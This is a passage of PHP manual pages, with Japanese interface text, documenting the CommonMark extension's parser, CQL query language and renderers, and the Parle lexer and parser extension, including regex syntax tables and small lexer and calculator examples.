abstract public accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

目次

  • CommonMark\Interfaces\IVisitable::accept — Visitation

User Contributed Notes

There are no user contributed notes for this page.


Visitation

  • ≪ CommonMark\Interfaces\IVisitable
  • CommonMark\Parser ≫
  • PHP Manual
  • CommonMark\Interfaces\IVisitable
  • Visitation

CommonMark\Interfaces\IVisitable::accept

(cmark >= 1.0.0)

CommonMark\Interfaces\IVisitable::accept — Visitation

説明

abstract public CommonMark\Interfaces\IVisitable::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void

パラメータ

visitor

An object implementing CommonMark\Interfaces\IVisitor

参考

  • CommonMark\Interfaces\IVisitor::enter
  • CommonMark\Interfaces\IVisitor::leave

User Contributed Notes

There are no user contributed notes for this page.


The CommonMark\Parser class

(cmark >= 1.0.0)

はじめに

Provides an incremental parser as an alternative to the simple Parsing API function

クラス概要

final CommonMark\Parser {
/* Constructor */
public __construct ( int $options = ? )
/* メソッド */
public parse ( string $buffer ) : void
public finish ( ) : CommonMark\Node
}

目次

  • CommonMark\Parser::__construct — Parsing
  • CommonMark\Parser::parse — Parsing
  • CommonMark\Parser::finish — Parsing

User Contributed Notes

There are no user contributed notes for this page.


Parsing

  • ≪ CommonMark\Parser
  • CommonMark\Parser::parse ≫
  • PHP Manual
  • CommonMark\Parser
  • Parsing

CommonMark\Parser::__construct

(cmark >= 1.0.0)

CommonMark\Parser::__construct — Parsing

説明

public CommonMark\Parser::__construct ( int $options = ? )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

options

A mask of:

CommonMark\Parser\Normal (int)
CommonMark\Parser\Normalize (int)
CommonMark\Parser\ValidateUTF8 (int)
CommonMark\Parser\Smart (int)

User Contributed Notes

There are no user contributed notes for this page.


Parsing

  • ≪ CommonMark\Parser::__construct
  • CommonMark\Parser::finish ≫
  • PHP Manual
  • CommonMark\Parser
  • Parsing

CommonMark\Parser::parse

(cmark >= 1.0.0)

CommonMark\Parser::parse — Parsing

説明

public CommonMark\Parser::parse ( string $buffer ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

buffer

返り値

User Contributed Notes

There are no user contributed notes for this page.


Parsing

  • ≪ CommonMark\Parser::parse
  • CommonMark\CQL ≫
  • PHP Manual
  • CommonMark\Parser
  • Parsing

CommonMark\Parser::finish

(cmark >= 1.0.0)

CommonMark\Parser::finish — Parsing

説明

public CommonMark\Parser::finish ( ) : CommonMark\Node

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The CommonMark\CQL class

(cmark >= 1.1.0)

はじめに

CommonMark Query Language is a DSL for describing how to travel through a CommonMark Node tree implemented as a parser and compiler for a small set of instructions, and a virtual machine for executing those instructions.

Paths:

In it's most simplistic form, a CQL query combines the following paths and / to describe how to travel through a tree:

  • firstChild
  • lastChild
  • previous
  • next
  • parent
For example, /firstChild/lastChild would travel to the last child node of the first child node.

Loops

CQL can be instructed to loop, for example through the children of, or siblings to a particular node, by using the path children, or siblings. For example, /firstChild/children will travel to all the children of the first child node.

Subqueries

CQL can be instructed how to travel by using a subquery like [/firstChild]. For example, /firstChild/children[/firstChild] will travel to the first child node of all the children of the first child node.

Loop Constraints

While looping, CQL can be instructed to constrict the travelled path to nodes of particular type. For example /children(BlockQuote) will travel to the children of a node where the type is BlockQuote. The following types are recognized (case insensitively):

  • BlockQuote
  • List
  • Item
  • CodeBlock
  • HtmlBlock
  • CustomBlock
  • Paragraph
  • Heading
  • ThematicBreak
  • Text
  • SoftBreak
  • LineBreak
  • Code
  • HtmlInline
  • CustomInline
  • Emphasis
  • Strong
  • Link
  • Image
Types may be used as a union, for example /children(BlockQuote|List) will travel to the children of a node where the type is BlockQuote or List. Types, or unions of types, may be also negated. For example /children(~BlockQuote) will travel to the children of a node where the type is not BlockQuote, and /children(~BlockQuote|Paragraph) will travel to the children of a node where the type is not BlockQuote or Paragraph

Path Constraints

CQL can be instructed to create a loop to travel to a node of a particular type, at a particular path. For example, /firstChild(BlockQuote) will travel to the first child node where the type is BlockQuote. Note that like other loops for children and siblings, this kind of path can only be followed by a subquery.

Implementation Notes

While CQL has been implemented as part of the PHP CommonMark extension, it stands separately from PHP and does not use PHP's virtual machine or internal representation of values.

クラス概要

CommonMark\CQL {
/* Constructor */
public __construct ( string $query )
/* メソッド */
public __invoke ( CommonMark\Node $root , callable $handler )
}

目次

  • CommonMark\CQL::__construct — CQL Construction
  • CommonMark\CQL::__invoke — CQL Execution

User Contributed Notes

There are no user contributed notes for this page.


CQL Construction

  • ≪ CommonMark\CQL
  • CommonMark\CQL::__invoke ≫
  • PHP Manual
  • CommonMark\CQL
  • CQL Construction

CommonMark\CQL::__construct

(cmark >= 1.1.0)

CommonMark\CQL::__construct — CQL Construction

説明

public CommonMark\CQL::__construct ( string $query )

パラメータ

query

a CQL string

User Contributed Notes

There are no user contributed notes for this page.


CQL Execution

  • ≪ CommonMark\CQL::__construct
  • CommonMark 関数 ≫
  • PHP Manual
  • CommonMark\CQL
  • CQL Execution

CommonMark\CQL::__invoke

(cmark >= 1.1.0)

CommonMark\CQL::__invoke — CQL Execution

説明

public CommonMark\CQL::__invoke ( CommonMark\Node $root , callable $handler )

Shall invoke the current CQL function on the given root, executing the given handler on entry to a CommonMark\Node

パラメータ

root

the root node of a tree

handler

should have the prototype:

handler ( CommonMark\Node $root , CommonMark\Node $entering ) : bool|null
  • Should handler fail to return (void), or return null, CQL will continue executing
  • Should the handler return a truthy value, CQL will continue executing.
  • Should the handler return a falsy value, CQL will stop executing

User Contributed Notes

There are no user contributed notes for this page.


CommonMark 関数

目次

  • CommonMark\Parse — Parsing
  • CommonMark\Render — Rendering
  • CommonMark\Render\HTML — Rendering
  • CommonMark\Render\Latex — Rendering
  • CommonMark\Render\Man — Rendering
  • CommonMark\Render\XML — Rendering

User Contributed Notes

There are no user contributed notes for this page.


Parsing

  • ≪ CommonMark 関数
  • CommonMark\Render ≫
  • PHP Manual
  • CommonMark 関数
  • Parsing

CommonMark\Parse

(cmark >= 1.0.0)

CommonMark\Parse — Parsing

説明

CommonMark\Parse ( string $content , int $options = ? ) : CommonMark\Node

Shall parse content

パラメータ

content

markdown string

options

A mask of:

CommonMark\Parser\Normal (int)
CommonMark\Parser\Normalize (int)
CommonMark\Parser\ValidateUTF8 (int)
CommonMark\Parser\Smart (int)

返り値

Shall return root CommonMark\Node

User Contributed Notes

There are no user contributed notes for this page.


Rendering

  • ≪ CommonMark\Parse
  • CommonMark\Render\HTML ≫
  • PHP Manual
  • CommonMark 関数
  • Rendering

CommonMark\Render

(cmark >= 1.0.0)

CommonMark\Render — Rendering

説明

CommonMark\Render ( CommonMark\Node $node , int $options = ? , int $width = ? ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

node

options

A mask of:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)
width

返り値

User Contributed Notes

There are no user contributed notes for this page.


Rendering

  • ≪ CommonMark\Render
  • CommonMark\Render\Latex ≫
  • PHP Manual
  • CommonMark 関数
  • Rendering

CommonMark\Render\HTML

(cmark >= 1.0.0)

CommonMark\Render\HTML — Rendering

説明

CommonMark\Render\HTML ( CommonMark\Node $node , int $options = ? ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

node

options

A mask of:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)

返り値

User Contributed Notes

There are no user contributed notes for this page.


Rendering

  • ≪ CommonMark\Render\HTML
  • CommonMark\Render\Man ≫
  • PHP Manual
  • CommonMark 関数
  • Rendering

CommonMark\Render\Latex

(cmark >= 1.0.0)

CommonMark\Render\Latex — Rendering

説明

CommonMark\Render\Latex ( CommonMark\Node $node , int $options = ? , int $width = ? ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

node

options

A mask of:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)
width

返り値

User Contributed Notes

There are no user contributed notes for this page.


Rendering

  • ≪ CommonMark\Render\Latex
  • CommonMark\Render\XML ≫
  • PHP Manual
  • CommonMark 関数
  • Rendering

CommonMark\Render\Man

(cmark >= 1.0.0)

CommonMark\Render\Man — Rendering

説明

CommonMark\Render\Man ( CommonMark\Node $node , int $options = ? , int $width = ? ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

node

options

A mask of:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)
width

返り値

User Contributed Notes

There are no user contributed notes for this page.


Rendering

  • ≪ CommonMark\Render\Man
  • Parle ≫
  • PHP Manual
  • CommonMark 関数
  • Rendering

CommonMark\Render\XML

(cmark >= 1.0.0)

CommonMark\Render\XML — Rendering

説明

CommonMark\Render\XML ( CommonMark\Node $node , int $options = ? ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

node

options

A mask of:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)

返り値

User Contributed Notes

There are no user contributed notes for this page.


Parsing and lexing

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
  • 定義済み定数
  • Pattern matching — Parle pattern matching
    • Character representations
    • Character classes
    • Unicode character classes
    • Alternation and repetition
    • Anchors
    • Grouping
  • 例
    • Lexer examples
    • Parser examples
  • Parle\Lexer — The Parle\Lexer class
    • Parle\Lexer::advance — Process next lexer rule
    • Parle\Lexer::build — Finalize the lexer rule set
    • Parle\Lexer::callout — Define token callback
    • Parle\Lexer::consume — Pass the data for processing
    • Parle\Lexer::dump — Dump the state machine
    • Parle\Lexer::getToken — Retrieve the current token
    • Parle\Lexer::insertMacro — Insert regex macro
    • Parle\Lexer::push — Add a lexer rule
    • Parle\Lexer::reset — Reset lexer
  • Parle\RLexer — The Parle\RLexer class
    • Parle\RLexer::advance — Process next lexer rule
    • Parle\RLexer::build — Finalize the lexer rule set
    • Parle\RLexer::callout — Define token callback
    • Parle\RLexer::consume — Pass the data for processing
    • Parle\RLexer::dump — Dump the state machine
    • Parle\RLexer::getToken — Retrieve the current token
    • Parle\RLexer::insertMacro — Insert regex macro
    • Parle\RLexer::push — Add a lexer rule
    • Parle\RLexer::pushState — Push a new start state
    • Parle\RLexer::reset — Reset lexer
  • Parle\Parser — The Parle\Parser class
    • Parle\Parser::advance — Process next parser rule
    • Parle\Parser::build — Finalize the grammar rules
    • Parle\Parser::consume — Consume the data for processing
    • Parle\Parser::dump — Dump the grammar
    • Parle\Parser::errorInfo — Retrieve the error information
    • Parle\Parser::left — Declare a token with left-associativity
    • Parle\Parser::nonassoc — Declare a token with no associativity
    • Parle\Parser::precedence — Declare a precedence rule
    • Parle\Parser::push — Add a grammar rule
    • Parle\Parser::reset — Reset parser state
    • Parle\Parser::right — Declare a token with right-associativity
    • Parle\Parser::sigil — Retrieve a matching part of a rule
    • Parle\Parser::token — Declare a token
    • Parle\Parser::tokenId — Get token id
    • Parle\Parser::trace — Trace the parser operation
    • Parle\Parser::validate — Validate input
  • Parle\RParser — The Parle\RParser class
    • Parle\RParser::advance — Process next parser rule
    • Parle\RParser::build — Finalize the grammar rules
    • Parle\RParser::consume — Consume the data for processing
    • Parle\RParser::dump — Dump the grammar
    • Parle\RParser::errorInfo — Retrieve the error information
    • Parle\RParser::left — Declare a token with left-associativity
    • Parle\RParser::nonassoc — Declare a token with no associativity
    • Parle\RParser::precedence — Declare a precedence rule
    • Parle\RParser::push — Add a grammar rule
    • Parle\RParser::reset — Reset parser state
    • Parle\RParser::right — Declare a token with right-associativity
    • Parle\RParser::sigil — Retrieve a matching part of a rule
    • Parle\RParser::token — Declare a token
    • Parle\RParser::tokenId — Get token id
    • Parle\RParser::trace — Trace the parser operation
    • Parle\RParser::validate — Validate input
  • Parle\Stack — The Parle\Stack class
    • Parle\Stack::pop — Pop an item from the stack
    • Parle\Stack::push — Push an item into the stack
  • Parle\Token — The Parle\Token class
  • Parle\ErrorInfo — The Parle\ErrorInfo class
  • Parle\LexerException — The Parle\LexerException class
  • Parle\ParserException — The Parle\ParserException class

User Contributed Notes

There are no user contributed notes for this page.


はじめに

The parle extension provides general purpose lexing and parsing facilities. The implementation is based on » Ben Hanson's libraries and requires a » C++14 capable compiler. The lexer is based on the regex matching, the parser is LALR(1). Lexers and parsers are generated on the fly and can be used immediately after they've been finalized. Parle deals with parsing and lexing, the appropriate data structures representation and processing are the implementer's task. Serialization and code generation are not supported by the extension, yet.

Lexer analysis is a process of splitting a character sequence into a list of lexemes. The lexeme list can be then used for the syntax analysis against a formal grammar. These operations are also known as lexing and parsing. This documentation doesn't aim to provide an exhaustive information on lexing and parsing. Good information in this regard is available on the numerous resources on the net. Several usage examples are included, to show the functionality. The extension is useful for PHP programmers both willing to learn or to utilize parsing and lexing. State machines and grammar parsing don't have to be implemented manually, these complex tasks are taken away by parle. Thanks to that, the development can be focused on the actual problem solving.

The common use case for parle is, when a data format is too complex to be handled by the regex matching with PCRE. The practical application is herewith wide. Be it a specific data format, a behavior modification of existing functions, even an own programming language and beyond. The helper methods such as Parle\Lexer::dump() to inspect the generated state machine, or Parle\Parser::dump() to inspect the generated grammar, are useful. The method Parle\Parser::trace() can also be used to track the parsing operation.

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP 7.0 or above is supported. A C++14 capable compiler is required. A successful extension build was produced with at least clang 5.0, GCC 5.0 and Visual Studio 2015.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/parle.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/parle/.

Available configure options
Option | Description
--enable-parle | Enable parle extension.
--enable-parle-utf32 | Enable internal UTF-32 support. Available since parle 0.7.2.

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

Parle\INTERNAL_UTF32 bool
Flag whether the internal UTF-32 support is compiled in. Available since parle 0.7.2.

User Contributed Notes

There are no user contributed notes for this page.


Parle pattern matching

目次

  • Character representations
  • Character classes
  • Unicode character classes
  • Alternation and repetition
  • Anchors
  • Grouping

Parle supports regex matching similar to flex. Also supported are the following POSIX character sets: [:alnum:], [:alpha:], [:blank:], [:cntrl:], [:digit:], [:graph:], [:lower:], [:print:], [:punct:], [:space:], [:upper:] and [:xdigit:].

The Unicode character classes are currently not enabled by default, pass --enable-parle-utf32 to make them available. A particular encoding can be mapped with a correctly constructed regex. For example, to match the EURO symbol encoded in UTF-8, the regular expression [\xe2][\x82][\xac] can be used. The pattern for an UTF-8 encoded string could be [ -\x7f]{+}[\x80-\xbf]{+}[\xc2-\xdf]{+}[\xe0-\xef]{+}[\xf0-\xff]+.

User Contributed Notes

There are no user contributed notes for this page.


Character representations

Character representations
Sequence | Description
\a | Alert (bell).
\b | Backspace.
\e | ESC character, \x1b.
\n | Newline.
\r | Carriage return.
\f | Form feed, \x0c.
\t | Horizontal tab, \x09.
\v | Vertical tab, \x0b.
\oct | Character specified by a three-digit octal code.
\xhex | Character specified by a hex code.
\cchar | Named control character.

User Contributed Notes

There are no user contributed notes for this page.


Character classes

Character classes
Sequence | Description
[...] | A single character listed or contained within a listed range. Ranges can be combined with the {+} and {-} operators. For example [a-z]{+}[0-9] is the same as [0-9a-z] and [a-z]{-}[aeiou] is the same as [b-df-hj-np-tv-z].
[^...] | A single character not listed and not contained within a listed range.
. | Any character, default [^\n].
\d | Digit character, [0-9].
\D | Non-digit character, [^0-9].
\s | White space character, [ \t\n\r\f\v].
\S | Non-white space character, [^ \t\n\r\f\v].
\w | Word caracter, [a-zA-Z0-9_].
\W | Non-word caracter, [^a-zA-Z0-9_].

User Contributed Notes

There are no user contributed notes for this page.


Unicode character classes

Unicode character classes
Sequence | Description
\p{C} | Other.
\p{Cc} | Other, control.
\p{Cf} | Other, format.
\p{Co} | Other, private use.
\p{Cs} | Other, surrogate.
\p{L} | Letter.
\p{LC} | Letter, cased.
\p{Ll} | Letter, lowercase.
\p{Lm} | Letter, modifier.
\p{Lo} | Letter, other.
\p{Lt} | Letter, titlecase.
\p{Lu} | Letter, uppercase.
\p{M} | Mark.
\p{Mc} | Mark, space combining.
\p{Me} | Mark, enclosing.
\p{Mn} | Mark, nonspacing.
\p{N} | Number.
\p{Nd} | Number, decimal digit.
\p{Nl} | Number, letter.
\p{No} | Number, other.
\p{P} | Punctuation.
\p{Pc} | Punctiation, connector.
\p{Pd} | Punctuation, dash.
\p{Pe} | Punctuation, close.
\p{Pf} | Punctuation, final quote.
\p{Pi} | Punctuation, initial quote.
\p{Po} | Punctuation, other.
\p{Ps} | Punctuation, open.
\p{S} | Symbol.
\p{Sc} | Symbol, currency.
\p{Sk} | Symbol, modifier.
\p{Sm} | Symbol, math.
\p{So} | Symbol, other.
\p{Z} | Separator.
\p{Zl} | Separator, line.
\p{Zp} | Separator, paragraph.
\p{Zs} | Separator, space.

These character clasess are only available, if the option --enable-parle-utf32 was passed at the compilation time.

User Contributed Notes

There are no user contributed notes for this page.


Alternation and repetition

Alternation and repetition
Sequence | Greedy | Description
...|... | - | Try subpatterns in alternation.
* | yes | Match 0 or more times.
+ | yes | Match 1 or more times.
? | yes | Match 0 or 1 times.
{n} | no | Match exactly n times.
{n,} | yes | Match at least n times.
{n,m} | yes | Match at least n times but no more than m times.
*? | no | Match 0 or more times.
+? | no | Match 1 or more times.
?? | no | Match 0 or 1 times.
{n,}? | no | Match at least n times.
{n,m}? | no | Match at least n times but no more than m times.
{MACRO} | - | Include the regex MACRO in the current regex.

User Contributed Notes

There are no user contributed notes for this page.


Anchors

Anchors
Sequence | Description
^ | Start of string or after a newline.
$ | End of string or before a newline.

User Contributed Notes

There are no user contributed notes for this page.


Grouping

Grouping
Sequence | Description
(...) Group a regular expression to override default operator precedence.
(?r-s:pattern) Apply option r and omit option s while interpreting pattern. Options may be zero or more of the characters i, s, or x.
Options
Option | Description
i | Case insensitive.
-i | Case sensitive.
s | Alters the meaning of '.' to match any character whatsoever.
-s | "lters the meaning of '.' to match any character except '\n'.
x | Ignores comments and whitespace in patterns. Whitespace is ignored unless it is backslash-escaped, contained within ""s, or appears inside a character range.
These options can be applied globally at the rules level by passing a combination of the bit flags to the lexer.
(?# comment ) | Omit everything within (). The first ) character encountered ends the pattern. It is not possible for the comment to contain a ) character. The comment may span lines.

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • Lexer examples
  • Parser examples

User Contributed Notes

There are no user contributed notes for this page.


Lexer examples

例1 Tokenize comma separated integer list

<?php

use Parle\Token;
use Parle\Lexer;
use Parle\LexerException;

/* name => id */
$token = array(
        "COMMA" => 1,
        "CRLF" => 2,
        "DECIMAL" => 3,
);
/* id => name */
$tokenIdToName = array_flip($token);

$lex = new Lexer;
$lex->push("[\x2c]", $token["COMMA"]);
$lex->push("[\r][\n]", $token["CRLF"]);
$lex->push("[\d]+", $token["DECIMAL"]);
$lex->build();

$in = "0,1,2\r\n3,42,5\r\n6,77,8\r\n";

$lex->consume($in);

do {
        $lex->advance();
        $tok = $lex->getToken();

        if (Token::UNKNOWN == $tok->id) {
                throw new LexerException("Unknown token '{$tok->value}' at offset {$lex->marker}.");
        }

        echo "TOKEN: ", $tokenIdToName[$tok->id], PHP_EOL;
} while (Token::EOI != $tok->id);

例2 Tokenize assign statement

<?php

use Parle\{Token, Lexer};

$lex = new Lexer;

$lex->push("\$[a-zA-Z_][a-zA-Z0-9_]*", 1);
$lex->push("=", 2);
$lex->push("\d+", 3);
$lex->push(";", 4);

$lex->build();

$lex->consume('$x = 42; $y = 24;');

do {
    $lex->advance();
    $tok = $lex->getToken();
    var_dump($tok);
} while (Token::EOI != $tok->id);

User Contributed Notes

There are no user contributed notes for this page.


Parser examples

例1 Simple calculator

<?php

use Parle\{Parser, ParserException, Lexer, Token};

$p = new Parser;
$p->token("INTEGER");
$p->left("'+' '-' '*' '/'");

$p->push("start", "exp");
$prod_add = $p->push("exp", "exp '+' exp");
$prod_sub = $p->push("exp", "exp '-' exp");
$prod_mul = $p->push("exp", "exp '*' exp");
$prod_div = $p->push("exp", "exp '/' exp");
$p->push("exp", "INTEGER"); /* Production index unused. */

$p->build();

$lex = new Lexer;
$lex->push("[+]", $p->tokenId("'+'"));
$lex->push("[-]", $p->tokenId("'-'"));
$lex->push("[*]", $p->tokenId("'*'"));
$lex->push("[/]", $p->tokenId("'/'"));
$lex->push("\\d+", $p->tokenId("INTEGER"));
$lex->push("\\s+", Token::SKIP);

$lex->build();

$exp = array(
    "1 + 1",
    "33 / 10",
    "100 * 45",
    "17 - 45",
);

foreach ($exp as $in) {
    if (!$p->validate($in, $lex)) {
        throw new ParserException("Failed to validate input");
    }

    $p->consume($in, $lex);

    while (Parser::ACTION_ERROR != $p->action && Parser::ACTION_ACCEPT != $p->action) {
        switch ($p->action) {
            case Parser::ACTION_ERROR:
                throw new ParserException("Parser error");
                break;
            case Parser::ACTION_SHIFT:
            case Parser::ACTION_GOTO:
            case Parser::ACTION_ACCEPT:
                break;
            case Parser::ACTION_REDUCE:
                switch ($p->reduceId) {
                    case $prod_add:
                        $l = $p->sigil(0);
                        $r = $p->sigil(2);
                        echo "$l + $r = " . ($l + $r) . "\n";
                        break;
                    case $prod_sub:
                        $l = $p->sigil(0);
                        $r = $p->sigil(2);
                        echo "$l - $r = " . ($l - $r) . "\n";
                        break;
                    case $prod_mul:
                        $l = $p->sigil(0);
                        $r = $p->sigil(2);
                        echo "$l * $r = " . ($l * $r) . "\n";
                        break;
                    case $prod_div:
                        $l = $p->sigil(0);
                        $r = $p->sigil(2);
                    echo "$l / $r = " . ($l / $r) . "\n";
                        break;
            }
            break;
        }
        $p->advance();
    }
}

例2 Parse words out from a sentence

<?php

use Parle\{Lexer, Token, Parser, ParserException};

$p = new Parser;
$p->token("WORD");
$p->push("START", "SENTENCE");
$p->push("SENTENCE", "WORDS");
$prod_word_0 = $p->push("WORDS", "WORDS WORD");
$prod_word_1 = $p->push("WORDS", "WORD");
$p->build();

$lex = new Lexer;
$lex->push("[^\s]{-}[\.,\:\;\?]+", $p->tokenId("WORD"));
$lex->push("[\s\.,\:\;\?]+", Token::SKIP);
$lex->build();

$in = "Dis-moi ou est ton papa?";
$p->consume($in, $lex);
do {
    switch ($p->action) {
    case Parser::ACTION_ERROR:
        throw new ParserException("Error");
        break;
    case Parser::ACTION_SHIFT:
    case Parser::ACTION_GOTO:
        /* var_dump($p->trace());*/
        break;
    case Parser::ACTION_REDUCE:
        $rid = $p->reduceId();
        if ($rid == $prod_word_1) {
            var_dump($p->sigil(0));
        } if ($rid == $prod_word_0) {
            var_dump($p->sigil(1));
        }
        break;
    }
    $p->advance();
} while (Parser::ACTION_ACCEPT != $p->action);

User Contributed Notes

andres1gb at gmail dot com 27-Apr-2020 03:45
The second example (word count) calls a method reduceId(), instead of retrieving the value of the reduceId property.


The Parle\Lexer class

(PECL parle >= 0.5.1)

はじめに

Single state lexer class. Lexemes can be defined on the fly. If the particular lexer instance is meant to be used with Parle\Parser, the token IDs need to be taken from there. Otherwise, arbitrary token IDs can be supplied. This lexer can give a certain performance advantage over Parle\RLexer, if no multiple states are required. Note, that Parle\RParser is not compatible with this lexer.

クラス概要

Parle\Lexer {
/* Constants */
const int ICASE = 1 ;
const int DOT_NOT_LF = 2 ;
const int DOT_NOT_CRLF = 4 ;
const int SKIP_WS = 8 ;
const int MATCH_ZERO_LEN = 16 ;
/* プロパティ */
public bool $bol = false ;
public int $flags = 0 ;
public int $state = 0 ;
public int $marker = 0 ;
public int $cursor = 0 ;
/* メソッド */
public advance ( ) : void
public build ( ) : void
public callout ( int $id , callable $callback ) : void
public consume ( string $data ) : void
public dump ( ) : void
public getToken ( ) : Parle\Token
public insertMacro ( string $name , string $regex ) : void
public push ( string $regex , int $id ) : void
public reset ( int $pos ) : void
}

定義済み定数

Parle\Lexer::ICASE

Parle\Lexer::DOT_NOT_LF

Parle\Lexer::DOT_NOT_CRLF

Parle\Lexer::SKIP_WS

Parle\Lexer::MATCH_ZERO_LEN

プロパティ

bol

Start of input flag.

flags

Lexer flags.

state

Current lexer state, readonly.

marker

Position of the latest token match, readonly.

cursor

Current input offset, readonly.

目次

  • Parle\Lexer::advance — Process next lexer rule
  • Parle\Lexer::build — Finalize the lexer rule set
  • Parle\Lexer::callout — Define token callback
  • Parle\Lexer::consume — Pass the data for processing
  • Parle\Lexer::dump — Dump the state machine
  • Parle\Lexer::getToken — Retrieve the current token
  • Parle\Lexer::insertMacro — Insert regex macro
  • Parle\Lexer::push — Add a lexer rule
  • Parle\Lexer::reset — Reset lexer

User Contributed Notes

There are no user contributed notes for this page.


Process next lexer rule

  • ≪ Parle\Lexer
  • Parle\Lexer::build ≫
  • PHP Manual
  • Parle\Lexer
  • Process next lexer rule

Parle\Lexer::advance

(PECL parle >= 0.5.1)

Parle\Lexer::advance — Process next lexer rule

説明

public Parle\Lexer::advance ( ) : void

Processes the next rule and prepares the resulting token data.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Finalize the lexer rule set

  • ≪ Parle\Lexer::advance
  • Parle\Lexer::callout ≫
  • PHP Manual
  • Parle\Lexer
  • Finalize the lexer rule set

Parle\Lexer::build

(PECL parle >= 0.5.1)

Parle\Lexer::build — Finalize the lexer rule set

説明

public Parle\Lexer::build ( ) : void

Rules, previously added with Parle\Lexer::push() are finalized. This method call has to be done after all the necessary rules was pushed. The rule set becomes read only. The lexing can begin.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Define token callback

  • ≪ Parle\Lexer::build
  • Parle\Lexer::consume ≫
  • PHP Manual
  • Parle\Lexer
  • Define token callback

Parle\Lexer::callout

(PECL parle >= 0.7.2)

Parle\Lexer::callout — Define token callback

説明

public Parle\Lexer::callout ( int $id , callable $callback ) : void

Define a callback to be invoked once lexer encounters a particular token.

パラメータ

id

Token id.

callback

Callable to be invoked. The callable doesn't receive any arguments and its return value is ignored.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Pass the data for processing

  • ≪ Parle\Lexer::callout
  • Parle\Lexer::dump ≫
  • PHP Manual
  • Parle\Lexer
  • Pass the data for processing

Parle\Lexer::consume

(PECL parle >= 0.5.1)

Parle\Lexer::consume — Pass the data for processing

説明

public Parle\Lexer::consume ( string $data ) : void

Consume the data for lexing.

パラメータ

data

Data to be lexed.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Dump the state machine

  • ≪ Parle\Lexer::consume
  • Parle\Lexer::getToken ≫
  • PHP Manual
  • Parle\Lexer
  • Dump the state machine

Parle\Lexer::dump

(PECL parle >= 0.5.1)

Parle\Lexer::dump — Dump the state machine

説明

public Parle\Lexer::dump ( ) : void

Dump the current state machine to stdout.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the current token

  • ≪ Parle\Lexer::dump
  • Parle\Lexer::insertMacro ≫
  • PHP Manual
  • Parle\Lexer
  • Retrieve the current token

Parle\Lexer::getToken

(PECL parle >= 0.5.1)

Parle\Lexer::getToken — Retrieve the current token

説明

public Parle\Lexer::getToken ( ) : Parle\Token

Retrieve the current token.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an instance of Parle\Token.

User Contributed Notes

There are no user contributed notes for this page.


Insert regex macro

  • ≪ Parle\Lexer::getToken
  • Parle\Lexer::push ≫
  • PHP Manual
  • Parle\Lexer
  • Insert regex macro

Parle\Lexer::insertMacro

(PECL parle >= 0.5.1)

Parle\Lexer::insertMacro — Insert regex macro

説明

public Parle\Lexer::insertMacro ( string $name , string $regex ) : void

Insert a regex macro, that can be later used as a shortcut and included in other regular expressions.

パラメータ

name

Name of the macros.

regex

Regular expression.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Add a lexer rule

  • ≪ Parle\Lexer::insertMacro
  • Parle\Lexer::reset ≫
  • PHP Manual
  • Parle\Lexer
  • Add a lexer rule

Parle\Lexer::push

(PECL parle >= 0.5.1)

Parle\Lexer::push — Add a lexer rule

説明

public Parle\Lexer::push ( string $regex , int $id ) : void

Push a pattern for lexeme recognition.

パラメータ

regex

Regular expression used for token matching.

id

Token id. If the lexer instance is meant to be used standalone, this can be an arbitrary number. If the lexer instance is going to be passed to the parser, it has to be an id returned by Parle\Parser::tokenid().

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Reset lexer

  • ≪ Parle\Lexer::push
  • Parle\RLexer ≫
  • PHP Manual
  • Parle\Lexer
  • Reset lexer

Parle\Lexer::reset

(PECL parle >= 0.7.1)

Parle\Lexer::reset — Reset lexer

説明

